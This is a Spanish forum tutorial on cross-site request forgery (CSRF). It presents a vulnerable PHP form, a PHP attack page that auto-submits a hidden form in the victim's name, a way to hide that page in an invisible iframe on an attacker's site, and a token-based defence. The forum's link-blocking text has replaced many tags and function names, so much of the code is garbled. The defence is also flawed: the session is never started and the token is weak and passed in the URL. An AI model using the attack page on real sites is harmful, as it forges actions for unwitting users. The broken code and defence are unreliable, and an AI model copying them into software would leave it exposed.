Ejemplo de ataque CSRF
Un ataque CSRF/XSRF o Cross site request forgery vendría siendo un exploit o vulnerabilidad la cúal se da en aplicaciones web en la que el usuario víctima realiza ciertas peticiones falsificadas en aplicaciones web vulnerables, la víctima al abrir la CSRF automáticamente lograra ejecutar u/o modificar registros sin su intención.
Para poder llevarse a cabo un ataque CSRF se debe hacer uso de la ingeniería social, con la cúal podamos lograr que el usuario víctima acceda a nuestra página la cúal debe tener el csrf oculto, está se encargara de ejecutar el CSRF sin que el usuario víctima se pueda dar cuenta.
Código vulnerableUn código vulnerable podría ser el siguiente:
pagina.html :<You are not allowed to view links.
Register or Login action="process.php" method="POST"> Texto:
<You are not allowed to view links.
Register or Login type="text" name="text" /><You are not allowed to view links.
Register or Login><You are not allowed to view links.
Register or Login><You are not allowed to view links.
Register or Login type="submit" />
Como pueden observar, no hacemos ningún envío de token para tener una identificación única. Con lo cúal, nuestro formulario es vulnerable a ataques CSRF. En este caso, solo tenemos un simple formulario que no almacena ni registra nada, pero imagínense uno que sí. Sería de grave peligro.
process.php :<?php
if(You are not allowed to view links.
Register or
Login($_POST['text']) && !You are not allowed to view links.
Register or
Login($_POST['text'])){ echo "Hola";
}
else{
echo "Error";
}
?>
Este es solo un simple proceso, el cúal verifica si el input de texto "text" no este vacío. si es así, lanza un mensaje diciendo error.
Preparando nuestro código CSRF de ataquePues para preparar el escenario de ataque, el atacante necesita tener conocimientos en la programación web, ya sea PHP, JS u HTML. Aquí les presento una estructura de código en php la cúal he creado especialmente para el formulario anterior vulnerable:
<?php
$urlvulnerable = "localhost"; // Link del sitio
$valor = "M5f3r0 was here!"; // Valor a modificar
echo '<form action="'.$urlvulnerable.'/process.php" name="csrf" method="POST">'; // Ingresamos la url del formulario a ejecutar
echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
echo '</form>';
?>
En este código simple, solamente ejecutamos el valor ingresado en el csrf en la página web vulnerable, identificándonos como nuestro usuario víctima.
Camuflando nuestra CSRFExiste un método para evitar que nuestro CSRF de ataque se note sospechoso, sería camuflando nuestro código de ataque mediante el uso de HTML u algún otro lenguaje de programación web, tal como JS, jQuery, HTML, o tal vez un simple index en el que camuflamos nuestro código mediante el uso de un <iframe> en html.
Un ejemplo sería el siguiente, en el que camuflamos nuestro CSRF en una index con un iframe:
<You are not allowed to view links.
Register or Login>Bienvenid@ a mi sitio web :)
</You are not allowed to view links.
Register or Login>
<You are not allowed to view links.
Register or Login src="http://websitedelatacante.com/csrfoculto.php" width=0% height=0% />
Aunque es muy claro que este se nota muy sospechoso, es cuestión de saber HTML5 y montar una index común y corriente, para luego enviarsela a la víctima.
DefensaPara poder defendernos de este tipo de ataques, yo recomiendo hacer uso de algún envío de un token como una sesión en php. Haciendo uso de la función session_start() , el hash md5() u sha1() para la encriptación, uniqid() para un identificador único y rand() para dar un entero aleatorio.
Ejemplo:token.php :<?php
?>
<html>
<head><title>Hola</title></head>
<meta charset="utf-8">
<body>
<?php $_SESSION["envio_token"] = You are not allowed to view links.
Register or
Login(You are not allowed to view links.
Register or
Login(You are not allowed to view links.
Register or
Login(), TRUE)); echo '<form action="process.php?envio_token='.$_SESSION["envio_token"].'" method="post">';
echo 'Ingrese algún texto: <input type="text" name="text"><br><br>';
echo '<input type="submit" value="Ejecutar">';
echo '</form>';
?>
</body>
</html>
Y cómo pueden observar, tenemos un identificador único y un número aleatorio cifrado en sha1 como sesión. Y luego ejecutamos el token por el método GET.
process.php :<html>
<head>
<title>Proceso</title>
</head>
<body>
<?php
if($_GET["envio_token"] == $_SESSION["envio_token"]){
echo 'Se ha ejecutado el token correctamente';
}
else{
echo 'Error';
}
?>
</body>
</html>
Y en este proceso, comprobamos que el token que se envío por el método GET es el mismo de la sesión que tenemos iniciada. Si es así, muestra un mensaje avisando que todo se ejecuto correctamente.
Bueno, eso ha sido todo. Espero les haya gustado, si me equivoco en algo corrijanme y actualizo el post

.
Un saludo, M5f3r0.